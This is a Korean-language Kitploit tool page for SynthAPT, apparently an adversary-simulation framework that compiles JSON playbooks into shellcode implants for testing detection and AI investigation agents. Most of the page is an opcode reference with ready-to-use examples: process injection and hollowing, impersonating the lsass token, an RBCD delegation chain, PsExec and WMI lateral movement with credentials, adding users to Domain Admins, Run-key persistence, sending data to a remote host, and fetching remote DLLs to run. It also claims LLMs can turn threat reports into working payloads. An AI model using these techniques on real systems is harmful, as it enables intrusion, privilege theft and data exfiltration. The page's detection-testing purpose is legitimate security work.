Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SynthAPT — JSON으로 정의된 공격 경로를 위치 독립적인 셸코드 페이로드로 컴파일하여 고급 탐지 및 AI 기반 조사 에이전트를 검증하는 플레이북 기반 적대자 시뮬레이션 프레임워크입니다. | Kitploit
도구/GitHubGitHub/acedef/synthapt
Penetration Testing FrameworksPrivilege EscalationExploit FrameworksPayload GenerationLateral MovementShellcodePost-ExploitationCommand and ControlRed TeamingAI SecurityAdversarial Attack
231474개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
acedef/synthapt

SynthAPT

JSON으로 정의된 공격 경로를 위치 독립적인 셸코드 페이로드로 컴파일하여 고급 탐지 및 AI 기반 조사 에이전트를 검증하는 플레이북 기반 적대자 시뮬레이션 프레임워크입니다.

저장소 보기

SynthAPT

개요

SynthAPT는 복잡한 공격 경로를 재현하기 위한 플레이북 기반의 적대 시뮬레이션 프레임워크입니다. 고급 탐지 및 AI 기반 조사 에이전트를 검증하기 위해 설계되었습니다. 핵심 아이디어는 악성코드 동작을 JSON으로 표현하고 기능성 악성코드로 컴파일하여 LLM을 사용한 현실적인 시나리오의 신속한 개발을 가능하게 하는 것입니다.

핵심 임플란트는 플레이북 인터프리터에 의해 구동되는 셸코드 페이로드입니다. 플레이북은 전체 공격 경로를 미리 정의하고 임플란트는 이를 따라 프로세스 인젝션, 횡적 이동 등을 통해 환경을 이동합니다. 각 임플란트는 고유한 명령어 세트를 가진 독립적인 스레드로 생성되므로, 다단계 공격(예: 초기 접근 → 권한 상승 → 횡적 이동 → 데이터 유출)은 협력하는 임플란트들의 그래프로 표현되며, 모두 플레이북에 사전 정의됩니다. 이는 세 가지 주요 이점이 있습니다:

  1. 페이로드는 C2 인프라 없이 실제 악성코드를 모방할 수 있습니다 - 전체 공격 경로가 페이로드에 내장되어 있으며 C2 상호작용을 모의할 수 있습니다
  2. 페이로드는 반복 가능합니다 - 매번 동일한 공격 경로를 실행하므로 탐지 회귀 테스트에 적합합니다
  3. LLM은 위협 인텔리전스 보고서와 블로그를 바로 작동하는 페이로드로 변환할 수 있으며, 공격 전문 지식이나 처음부터 악성코드를 구축할 필요가 없습니다

기능

  • 위치 독립적 셸코드 - 임플란트는 완전한 PIC이며 모든 로더나 인젝터에 통합될 수 있습니다
  • 풍부한 opcode 라이브러리 - 실행, 토큰 조작, 프로세스 인젝션, 프로세스 할로잉, 횡적 이동, AD 열거 및 수정, 레지스트리, 서비스 등
  • 자체 복제 페이로드 - 임플란트는 다른 작업 세트를 가진 EXE 또는 DLL로 자신을 드롭할 수 있어 C2 없이 다단계 전달을 가능하게 합니다
  • 유연한 출력 형식 - 플레이북을 원시 셸코드, PE EXE 또는 PE DLL로 컴파일합니다
  • 인메모리 Python - Python 인터프리터가 런타임에 리플렉티브하게 로드되어 모든 임플란트 기능을 Python 모듈로 노출하여 유연한 스크립팅을 제공합니다
  • NPC 시뮬레이션 - 'explorer' opcode를 사용하면 페이로드를 자동으로 압축 해제 및 실행하여 사용자 상호작용 아티팩트를 자동으로 재현합니다 (Explorer.exe에 인젝션될 때)
  • LLM 에이전트가 포함된 TUI 편집기 - 자연어 또는 위협 인텔리전스로부터 플레이북을 생성 및 편집할 수 있는 Claude 에이전트가 통합된 터미널 기반 플레이북 편집기
  • BOF 로더 - 기능은 표준 Beacon Object Files로 확장될 수 있습니다

소스에서 빌드

릴리스를 사용하지 않으려면 다음과 같이 컴파일할 수 있습니다:

  1. cargo
  2. rustup
  3. binutils-mingw-w64-x86-64```bash cargo install cargo-make rustup toolchain install nightly rustup target add x86_64-pc-windows-gnu --toolchain nightly
    sudo apt install gcc-mingw-w64-x86-64
root@kitploit:~
cargo make로 빌드:```bash
cargo make build
./target/release/synthapt

이것은 shellcode와 편집기를 컴파일합니다.

사용

명령 없이 SynthAPT를 실행하면 편집기로 이동합니다. Claude API 키를 제공하고 프롬프트를 입력하면서 변경 사항을 확인할 수 있습니다.```bash SynthAPT playbook editor and compiler

Usage: synthapt [COMMAND]

Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload

root@kitploit:~
다른 LLM이나 구독을 사용하려면 `synthapt export-skill`을 실행한 후, 자신이 사용하는 코딩 환경과 함께 사용할 수 있습니다.

JSON 플레이북이 출력됩니다. 컴파일 명령어로 페이로드로 컴파일하세요:```bash
Compile a playbook to a payload

Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]

Arguments:
  <PLAYBOOK>  Path to the playbook JSON file
  [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)

Options:
  -e, --exe          Compile to PE EXE
  -d, --dll          Compile to PE DLL
  -b, --base <BASE>  Override the embedded base shellcode with a custom binary
  -h, --help         Print help

Opcodes 참조

상수는 문자열, hex 객체 또는 base64 객체로 정의할 수 있습니다:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]

root@kitploit:~
---

### end (0x00)
작업 집합의 끝입니다. 컴파일러에 의해 자동으로 추가되므로 직접 추가할 필요가 없습니다.

---

### store_result (0x01)
마지막 연산 결과를 변수에 저장합니다.

| 필드 | 타입 | |
|-------|------|-|
| var | u16 | **필수** |```json
{ "op": "store_result", "var": 0 }

get_shellcode (0x02)

선택적 작업 ID 및/또는 매직 값이 패치된 현재 셸코드 바이트를 반환합니다.

필드타입
tasku8선택 사항
magicu32 16진수 문자열 또는 숫자선택 사항
{ "op": "get_shellcode" }
root@kitploit:~
---

### sleep (0x03)
주어진 밀리초 동안 대기합니다.

| Field | Type | |
|-------|------|-|
| ms | u32 | **필수** |```json
{ "op": "sleep", "ms": 5000 }

run_command (0x04)

cmd.exe를 통해 명령을 실행합니다.

필드유형
commandstring필수
{ "op": "run_command", "command": "whoami /all" }
root@kitploit:~
---

### get_cwd (0x05)
현재 작업 디렉토리를 가져옵니다. 인자가 없습니다.```json
{ "op": "get_cwd" }

read_file (0x06)

파일을 읽고 그 내용을 반환합니다.

FieldType
pathstring필수
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }
root@kitploit:~
---

### write_file (0x07)
바이트를 파일에 씁니다.

| 필드 | 타입 | |
|-------|------|-|
| 경로 | 문자열 | **필수** |
| 내용 | 바이트 | *선택 사항* (생략 시 빈 파일) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }

check_error (0x08)

변수의 상태 코드를 출력합니다 (0 = 성공, 0이 아닌 값 = 오류).

FieldType
varu16필수
{ "op": "check_error", "var": 0 }
root@kitploit:~
---

### conditional (0x09)
변수 상태에 따라 다른 작업 인덱스로 분기합니다.

| 필드 | 타입 | |
|-------|------|-|
| mode | `"data"` 또는 `"error"` | **필수** |
| var1 | u16 | **필수** |
| var2 | u16 | *선택사항* (단일 검사 대신 두 변수 비교) |
| true | u16 | **필수** (조건이 참일 경우 작업 인덱스) |
| false | u16 | **필수** (조건이 거짓일 경우 작업 인덱스) |

`true_target` 및 `false_target`은 `true`와 `false`의 별칭으로 허용됩니다.

단일 변수 모드:
- `"data"` — var1에 비어 있지 않은 데이터가 있으면 참
- `"error"` — var1 상태가 0(성공)이면 참

두 변수 모드(var2 존재):
- `"data"` — var1 데이터가 var2 데이터와 같으면 참
- `"error"` — var1 오류 코드가 var2 오류 코드와 같으면 참```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }

set_var (0x0A)

변수를 리터럴 값으로 설정합니다.

FieldType
varu16필수
databytes선택 사항 (생략 시 비어 있음)

리터럴 문자열과 16진수/베이스64 값은 읽을 때 일반 작업 결과처럼 보이도록 5바이트 결과 접두사와 함께 저장됩니다. 변수($n) 및 상수(%n) 참조는 그대로 전달됩니다.```json { "op": "set_var", "var": 0, "data": "hello world" } { "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }

root@kitploit:~
---

### print_var (0x0B)
표준 출력(stdout)에 변수의 내용을 출력합니다(디버그). `var`를 생략하면 마지막 연산 결과를 출력합니다.

| 필드 | 타입 | |
|-------|------|-|
| var | u16 | *선택 사항* (없으면 마지막 결과 출력) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }

goto (0x0C)

현재 작업 세트 내에서 특정 작업 인덱스로 무조건 점프합니다.

필드타입
targetu16필수
{ "op": "goto", "target": 2 }
root@kitploit:~
---

### migrate (0x0D)
검색 문자열이나 PID와 일치하는 프로세스에 셸코드를 주입합니다.

| Field | Type | |
|-------|------|-|
| task_id | u8 | **필수** |
| search | string or number | *선택사항* (비어 있음 = 검색 안 함; 숫자 = 대상 PID) |
| magic | u32 hex string or number | *선택사항* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }

list_procs (0x0E)

실행 중인 프로세스를 나열합니다. 탭으로 구분된 줄을 반환합니다: pid\timage\tcmdline\n. 인수가 없습니다.```json { "op": "list_procs" }

root@kitploit:~
---

### get_const (0x0F)
마지막 결과에 상수를 로드합니다. `index` 또는 `const_idx`를 필드 이름으로 허용합니다.

| 필드 | 타입 | |
|-------|------|-|
| index | u16 | **필수** |```json
{ "op": "get_const", "index": 0 }

wmi_exec (0x10)

WMI를 통해 명령을 실행하며, 선택적으로 원격 호스트에서 실행할 수 있습니다.

root@kitploit:~
---

### http_send (0x11)
HTTP/S 요청을 보냅니다.

| Field | Type | |
|-------|------|-|
| host | string | **필수** |
| method | string | *선택 사항* (기본값: `"GET"`) |
| port | u16 | *선택 사항* (기본값: `80`) |
| path | string | *선택 사항* (기본값: `"/"`) |
| secure | bool | *선택 사항* (기본값: `false`) |
| body | bytes | *선택 사항* (생략 시 비어 있음) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }

sacrificial (0x12)

프로세스를 일시 중단 상태로 생성하고, 셸코드를 주입한 후 다시 시작합니다.

root@kitploit:~
---

### redirect_stdout (0x13)
stdout을 파일 또는 명명된 파이프로 리디렉션합니다. 이후 `run_command` 출력이 해당 위치로 전송됩니다.

| 필드 | 유형 | |
|-------|------|-|
| path | string | **필수** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }

shellcode_server (0x14)

연결하는 클라이언트에 셸코드를 제공하는 TCP 서버를 시작합니다. 각 클라이언트는 증가하는 매직 값과 함께 사본을 받습니다.

필드타입
portu16필수
magic_baseu32 16진수 문자열 또는 숫자선택 사항
root@kitploit:~
---

### resolve_hostname (0x15)
호스트네임을 IPv4 주소 문자열로 해석합니다.

| 필드 | 타입 | |
|-------|------|-|
| hostname | string | **필수** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }

psexec (0x16)

SMB를 통해 원격 호스트로 바이너리를 복사하고 서비스로 실행합니다 (PsExec 스타일의 측면 이동).

root@kitploit:~
---

### generate_exe (0x17)
현재 셸코드와 바이트코드가 포함된 PE 실행 파일을 생성합니다.

| 필드 | 타입 | |
|-------|------|-|
| task_id | u8 | **필수** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }

run_bof (0x18)

Beacon Object File(BOF)을 실행합니다.

root@kitploit:~
---

### query_ldap (0x19)
LDAP 디렉터리 쿼리.

| Field | Type | |
|-------|------|-|
| base | string | **필수** (기본 DN) |
| filter | string | **필수** |
| scope | u8 | *선택 사항* (기본값: `2` = 하위 트리; `0` = 기본, `1` = 한 수준) |
| attribute | string | *선택 사항* (비어 있음 = 모든 속성 반환) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }

set_ad_attr_str (0x1A)

Active Directory 속성을 문자열 값으로 설정합니다.

root@kitploit:~
---

### set_ad_attr_bin (0x1B)
Active Directory 속성을 이진 값으로 설정합니다. 빈 값을 전달하면 속성이 삭제됩니다.

| 필드 | 유형 | |
|-------|------|-|
| dn | string | **required** |
| attr | string | **required** |
| value | bytes | **required** (empty = delete attribute) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }

portscan (0x1C)

하나 이상의 대상에서 TCP 포트를 스캔합니다. 열린 포트에 대해서만 host\tport\n 라인을 반환합니다.

root@kitploit:~
### set_user_password (0x1D)
NetUserSetInfo를 통해 로컬 또는 도메인 사용자의 비밀번호를 설정합니다.

| 필드 | 유형 | |
|-------|------|-|
| username | string | **필수** |
| password | string | **필수** |
| server | string | *선택 사항* (비어 있으면 로컬 머신) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }

add_user_to_localgroup (0x1E)

NetLocalGroupAddMembers를 통해 로컬 그룹에 사용자를 추가합니다.

root@kitploit:~
---

### remove_user_from_localgroup (0x1F)
NetLocalGroupDelMembers를 통해 로컬 그룹에서 사용자를 제거합니다.

| Field | Type | |
|-------|------|-|
| group | string | **필수** |
| username | string | **필수** |
| server | string | *선택 사항* (비어 있으면 로컬 컴퓨터) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }

get_user_sid (0x20)

LookupAccountName을 통해 사용자의 SID 문자열을 조회합니다.

FieldType
usernamestring필수
serverstring선택 사항 (비어 있으면 로컬 머신)

SID 문자열을 반환합니다. 예: S-1-5-21-....```json { "op": "get_user_sid", "username": "Administrator" } { "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }

root@kitploit:~
### add_user_to_group (0x21)
NetGroupAddUser를 통해 도메인 그룹에 사용자를 추가합니다.

| 필드 | 타입 | |
|-------|------|-|
| group | string | **필수** |
| username | string | **필수** |
| server | string | *선택 사항* (비어 있으면 로컬 DC) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }

remove_user_from_group (0x22)

NetGroupDelUser를 통해 도메인 그룹에서 사용자를 제거합니다.

root@kitploit:~
---

### create_rbcd_ace (0x23)
Resource-Based Constrained Delegation을 위한 이진 ACE를 빌드합니다. 결과는 `msDS-AllowedToActOnBehalfOfOtherIdentity`에 직접 쓰기에 적합합니다.

| 필드 | 유형 | |
|-------|------|-|
| sid | string | **필수** (SID 문자열, 예: `get_user_sid`에서) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }

reg_create_key (0x24)

레지스트리 키를 생성합니다.

FieldType
keystring필수 (전체 경로, 예: "HKLM\\SOFTWARE\\MyApp")
{ "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" }
root@kitploit:~
---

### reg_delete_key (0x25)
레지스트리 키를 삭제합니다.

| 필드 | 유형 | |
|-------|------|-|
| key | string | **필수** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }

reg_set_value (0x26)

레지스트리 값을 설정합니다.

root@kitploit:~
---

### reg_query_value (0x27)
레지스트리 값을 조회합니다. 원시 값 바이트를 반환합니다.

| 필드 | 타입 | |
|-------|------|-|
| key | string | **필수** |
| value_name | string | **필수** (기본값은 빈 문자열) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }

make_token (0x28)

LogonUser를 통해 가장 토큰을 생성하고 가장합니다. 기본 로그온 유형은 9(LOGON32_LOGON_NEW_CREDENTIALS)이며, 로컬 토큰을 변경하지 않고 제공된 자격 증명을 아웃바운드 네트워크 연결에 사용합니다.

root@kitploit:~
---

### impersonate_process (0x29)
프로세스 토큰을 열고 가장(impersonate)합니다. 권한 상승이나 측면 토큰 탈취에 유용합니다.

| 필드 | 유형 | |
|-------|------|-|
| search | string | **필수** (이미지 이름 또는 명령줄과 일치) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }

enable_privilege (0x2A)

프로세스 토큰에서 권한을 활성화합니다.

root@kitploit:~
---

### list_process_privs (0x2B)
프로세스의 권한 이름과 활성/비활성 상태를 나열합니다. `name\tenabled\n` 또는 `name\tdisabled\n` 줄을 반환합니다.

| Field | Type | |
|-------|------|-|
| search | string | *선택 사항* (비어 있으면 현재 프로세스) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }

list_thread_privs (0x2C)

현재 스레드 토큰의 권한을 나열합니다. list_process_privs와 동일한 형식을 반환합니다. 인수가 없습니다.```json { "op": "list_thread_privs" }

root@kitploit:~
---

### delete_file (0x2D)
파일을 삭제합니다.

| 필드 | 유형 | |
|-------|------|-|
| path | string | **필수** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }

revert_to_self (0x2E)

원래 프로세스 토큰으로 되돌려 모든 가장을 종료합니다. 인수가 없습니다.```json { "op": "revert_to_self" }

root@kitploit:~
---

### start_service (0x2F)
Windows 서비스를 시작합니다.

| Field | Type | |
|-------|------|-|
| service_name | string | **필수** |
| target | string | *선택 사항* (비어 있으면 로컬 컴퓨터) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }

delete_service (0x30)

Windows 서비스를 삭제합니다.

필드유형
service_namestring필수
root@kitploit:~
---

### create_thread (0x31)
현재 프로세스에서 셸코드의 복사본을 실행하는 새 스레드를 생성합니다. `magic`을 생략하면 프로세스 힙을 스캔하여 기존 인스턴스와 충돌하지 않는 고유한 magic을 찾습니다.

| 필드 | 타입 | |
|-------|------|-|
| task | u8 | *선택사항* (생략 또는 `255` = 현재 스레드와 동일한 태스크 세트) |
| magic | u32 16진수 문자열 또는 숫자 | *선택사항* (생략 시 자동 감지) |

> **경고**: `task`를 생략하면 새 스레드에서 동일한 태스크 세트가 실행됩니다. 해당 태스크 세트가 다시 `create_thread`를 호출하면 무한 스레드가 발생합니다.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }

generate_dll (0x32)

현재 셸코드가 포함된 DLL을 생성합니다. DLL_PROCESS_ATTACH에서 셸코드를 실행하고 셸코드를 실행하는 명명된 함수를 내보냅니다.

root@kitploit:~
---

### shell_execute (0x33)
COM을 통한 ShellExecuteEx를 이용해 파일을 실행합니다. 결과 프로세스는 셸에 의해 실행된 것으로 나타납니다.

| 필드 | 타입 | |
|-------|------|-|
| path | string | **필수** |
| verb | string | *선택사항* (예: `"open"`, `"runas"`) |
| args | string | *선택사항* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }

shell_extract (0x34)

Windows 셸을 사용하여 ZIP 아카이브를 추출합니다.

필드유형
pathstring필수 (ZIP 파일 경로)

ZIP 파일과 동일한 이름의 폴더(확장자 제외)로 같은 디렉토리에 추출합니다.```json { "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }

root@kitploit:~
### shell_execute_explorer (0x35)
COM을 사용하여 explorer.exe를 부모 프로세스로 파일을 실행합니다. 생성된 프로세스는 사용자가 탐색기에서 실행한 것처럼 보입니다.

| 필드 | 유형 | |
|-------|------|-|
| path | string | **필수** |
| verb | string | *선택* |
| args | string | *선택* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }

load_library (0x36)

LoadLibraryW를 통해 현재 프로세스에 DLL을 로드합니다.

필드유형
pathstring필수
{ "op": "load_library", "path": "C:\Users\Public\payload.dll" }
root@kitploit:~
---

### pyexec (0x37)
URL에서 Python DLL을 다운로드하고(첫 다운로드 후 메모리에 캐시됨), Python 스크립트를 실행합니다. 모든 에이전트 opcode에 대한 바인딩을 가진 `agent` 모듈을 노출합니다.

| 필드 | 유형 | |
|-------|------|-|
| url | string | *optional* (Python DLL의 URL; 비어 있으면 이미 로드된 Python 사용) |
| script | string | *optional* (실행할 Python 코드; 비어 있으면 실행 없이 초기화) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }

hollow (0x38)

프로세스 할로잉: 합법적인 프로세스를 일시 중단 상태로 실행하고, 진입점을 셸코드로 덮어쓴 후 재개합니다.

root@kitploit:~
---

### migrate_apc (0x39)
프로세스를 일시 중단 상태로 생성하고, RWX 메모리를 할당하며, 셸코드를 작성하고, 메인 스레드에 APC를 대기열에 추가한 후 재개합니다. 생성된 프로세스의 PID를 반환합니다.

| 필드 | 타입 | |
|-------|------|-|
| image | string | **필수** |
| task_id | u8 | **필수** |
| magic | u32 16진수 문자열 또는 숫자 | *선택 사항* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }

register_service (0x3A)

현재 프로세스를 Windows 서비스로 등록하려면 StartServiceCtrlDispatcher를 호출합니다. 프로세스가 서비스 제어 관리자(SCM)에 의해 시작될 때 일찍 호출되어야 합니다. 그렇지 않으면 SCM이 약 30초 후에 프로세스를 종료합니다. SCM 통신을 백그라운드 스레드에서 실행하여 메인 태스크 세트가 정상적으로 계속되도록 합니다.

FieldType
service_namestring필수 (alias: name)
{ "op": "register_service", "service_name": "MySvc" }
root@kitploit:~
---

### exit_process (0x3B)
현재 프로세스를 종료합니다.

| Field | Type | |
|-------|------|-|
| exit_code | u32 | *선택 사항* (기본값: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }

hollow_apc (0x3C)

프로세스를 일시 중단 상태로 생성하고 APC를 통해 셸코드를 주입합니다. migrate_apc와 유사하지만 선택적 PPID 스푸핑 기능이 있습니다.

root@kitploit:~
---

### frida_hook (0x3F)
URL에서 Frida gadget DLL을 다운로드(첫 다운로드 후 캐시됨)하고 JavaScript 훅을 설치합니다.

| 필드 | 유형 | |
|-------|------|-|
| url | string | **필수** |
| script | string | **필수** (Frida의 API를 사용하는 JavaScript) |
| name | string | *선택 사항* (`frida_unhook`에서 나중에 참조할 훅 이름) |
| callback_host | string | *선택 사항* (`send()` 메시지를 HTTP POST로 보낼 호스트) |
| callback_port | u16 | *선택 사항* |
| batch_size | u32 | *선택 사항* (HTTP POST 배치당 메시지 수; 기본값: `50`) |
| flush_interval | u32 | *선택 사항* (밀리초 단위 플러시 간격; 기본값: `5000`) |

JavaScript에서 `send()`를 통해 전송된 메시지는 콜백이 구성되지 않은 경우 `callback_host:callback_port/frida`로 POST되거나 stdout에 기록됩니다.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }

frida_unhook (0x40)

Frida hook을 언로드합니다. 인수가 없으면 모든 hook을 언로드합니다.

root@kitploit:~
---

### kill (0x42)
실행 중인 에이전트 인스턴스를 매직 값으로 종료합니다.

| 필드 | 타입 | |
|-------|------|-|
| magic | u32 16진수 문자열 또는 숫자 | *선택 사항* (생략하면 현재 인스턴스를 종료합니다) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }

http_beacon (0x43)

HTTP C2 서버에 연결하여 바이트코드 작업을 폴링합니다.

root@kitploit:~
---

### mem_read (0x44)

현재 프로세스 또는 원격 프로세스의 메모리 주소에서 원시 바이트를 읽습니다.

| Field | Type | |
|-------|------|-|
| address | hex string | **필수** (주소는 16진수 문자, 예: `"7FFE0030"`; `0x` 접두사는 자동으로 제거됨) |
| size | u32 | **필수** |
| pid | u32 | *선택 사항* (원격 프로세스; 로컬 읽기 시 생략) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }

dll_list (0x45)

PEB LDR InLoadOrderModuleList를 탐색하고 로드된 모듈을 반환합니다. postcard 직렬화된 Vec<ProcessResult<ModuleInfo>>를 반환합니다.

필드타입
pidu32 또는 "all"
root@kitploit:~
---

### mem_map (0x46)
`VirtualQuery`/`VirtualQueryEx`를 통해 가상 메모리 영역을 열거합니다. 포스트카드 직렬화된 `Vec<ProcessResult<MemRegion>>`을 반환합니다. FREE 영역은 건너뛰며, IMAGE 영역은 모듈 이름과 PE 섹션을 포함합니다.

| Field | Type | |
|-------|------|-|
| pid | u32 or `"all"` | *선택 사항* (생략 시 현재 프로세스; `"all"` = 접근 가능한 모든 프로세스) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }

malfind (0x47)

커밋된 프라이빗 실행 가능 메모리 영역을 찾습니다 — 인젝션된 셸코드 또는 리플렉티브 DLL의 지표입니다. 모든 0인 페이지를 건너뛰고 MZ 헤더가 있는 영역을 기록합니다. 포스트카드 직렬화된 Vec<ProcessResult<MalfindHit>>를 반환합니다.

필드타입
pidu32 또는 "all" (생략 = 현재 프로세스; = 접근 가능한 모든 프로세스)
root@kitploit:~
---

### ldr_check (0x48)
IMAGE 메모리 영역과 PEB 모듈 목록을 교차 참조하여, `InLoadOrderModuleList`에 없는 MZ 헤더가 있는 영역(연결 해제되거나 숨겨진 DLL)을 찾습니다. Postcard 직렬화된 `Vec<ProcessResult<LdrCheckHit>>`를 반환합니다.

| 필드 | 유형 | |
|-------|------|-|
| pid | u32 또는 `"all"` | *선택 사항* (생략 = 현재 프로세스; `"all"` = 접근 가능한 모든 프로세스) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }

탐지

모든 프레임워크와 마찬가지로, 이 임플란트는 메모리 내에서 뚜렷한 풋프린트를 가지며, 이를 드러내는 많은 평문 문자열이 있습니다. 기본 셸코드 파일(out/shellcode.bin)을 기반으로 시그니처를 구축할 수 있습니다.

출처

이 프로젝트는 safedev의 Rustic64Shell을 확장합니다.

리플렉션을 통해 로드된 Python DLL은 farfella에서 가져왔습니다.

도구 다운로드
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }
FieldType
commandstring필수
hoststring선택 사항 (비어 있으면 로컬 호스트)
userstring선택 사항 (비어 있으면 현재 사용자)
passstring선택 사항 (비어 있으면 현재 자격 증명)
{ "op": "wmi_exec", "command": "calc.exe" }
{ "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" }
필드타입
imagestring필수
task_idu8필수
pipe_namestring선택 사항 (출력 캡처를 위한 named pipe, \\.\pipe\ 접두사 없음)
searchstring선택 사항 (PPID 스푸핑을 위한 프로세스 이름/명령줄)
no_killbool선택 사항 (기본값: false — 주입 후 프로세스가 종료됨)
{ "op": "sacrificial", "image": "C:\Windows\System32\notepad.exe", "task_id": 1 }
{ "op": "sacrificial", "image": "C:\Windows\System32\svchost.exe", "task_id": 1, "search": "services.exe", "pipe_name": "output" }
{ "op": "shellcode_server", "port": 8080 }
{ "op": "shellcode_server", "port": 8080, "magic_base": "0x18181818" }
필드타입
targetstring필수 (호스트명 또는 IP)
service_namestring필수
display_namestring필수
binary_pathstring필수 (원격 호스트의 경로)
service_binbytes필수 (쓸 바이너리 데이터)
{ "op": "psexec", "target": "192.168.1.10", "service_name": "MySvc", "display_name": "My Service", "binary_path": "c:\windows\temp\svc.exe", "service_bin": "$0" }
필드타입
bof_databytes필수
entrystring선택 사항 (기본값: "go")
inputsbytes선택 사항 (BOF 인수, 생략 시 비어 있음)
{ "op": "run_bof", "bof_data": "%0", "entry": "go", "inputs": "" }
{ "op": "run_bof", "bof_data": "$0" }
필드
타입
dnstring필수
attrstring필수
valuestring필수
{ "op": "set_ad_attr_str", "dn": "CN=user,CN=Users,DC=corp,DC=local", "attr": "description", "value": "owned" }
필드타입
targetsstring필수 (쉼표로 구분된 IP, CIDR, 범위 또는 호스트명; 별칭: host)
